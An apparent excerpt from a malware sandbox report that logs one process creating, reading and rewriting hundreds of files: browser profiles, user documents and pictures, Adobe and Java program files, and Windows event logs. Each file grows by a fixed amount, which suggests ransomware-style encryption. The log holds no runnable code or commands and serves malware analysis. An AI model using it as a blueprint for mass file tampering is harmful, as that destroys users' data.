File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ja-jp\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-si\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-si\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-si\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\de-de\ui-strings.js, size = 840, size_out = 840	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\de-de\ui-strings.js, size = 2256	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\root\ui-strings.js, size = 1316, size_out = 1316	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\root\ui-strings.js, size = 2732	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\checkmark-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\checkmark-2x.png, size = 1484, size_out = 1484	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\checkmark-2x.png, size = 2900	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\it-it\ui-strings.js, size = 2769, size_out = 2769	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\it-it\ui-strings.js, size = 4185	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\rna-main.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\rna-main.js, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\rna-main.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\rna-main.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\rna-main.js, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\rna-main.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd-BoldOblique.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd-BoldOblique.otf, size = 16384, size_out = 16384	1	Fn Data
For performance reasons, the remaining 1398 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x1140

2585

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite, size = 9608	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite, size = 61440	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite, size = 8192	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\kRUtWme.xlsx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\kRUtWme.xlsx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\kRUtWme.xlsx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\kRUtWme.xlsx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\kRUtWme.xlsx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\7 IWCWCLCExR.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\7 IWCWCLCExR.docx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\7 IWCWCLCExR.docx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\7 IWCWCLCExR.docx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\7 IWCWCLCExR.docx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx, size = 9608	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx, size = 61440	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\GRAD8.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\GRAD8.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\GRAD8.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\GRAD8.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\GRAD8.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\YP-X.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\YP-X.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\YP-X.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\YP-X.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\YP-X.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\p2O0.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\p2O0.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\p2O0.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\p2O0.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\p2O0.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 61440	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, size = 4096	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 9608	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 61440	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, size = 8192	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-NCSI%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-NCSI%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-NCSI%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-NCSI%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-NCSI%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Windows PowerShell.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Windows PowerShell.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Windows PowerShell.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Windows PowerShell.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Windows PowerShell.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\jp2launcher.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\jp2launcher.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\jp2launcher.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\jp2launcher.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\jp2launcher.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_de.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_de.properties, size = 3306, size_out = 3306	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_de.properties, size = 4722	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_TW.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_TW.properties, size = 3752, size_out = 3752	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_TW.properties, size = 5168	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jfxrt.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jfxrt.jar, size = 61440, size_out = 61440	8	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jfxrt.jar, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jfxrt.jar, size = 8192, size_out = 8192	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jfxrt.jar, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jfxrt.jar, size = 61440	8	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jfxrt.jar, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
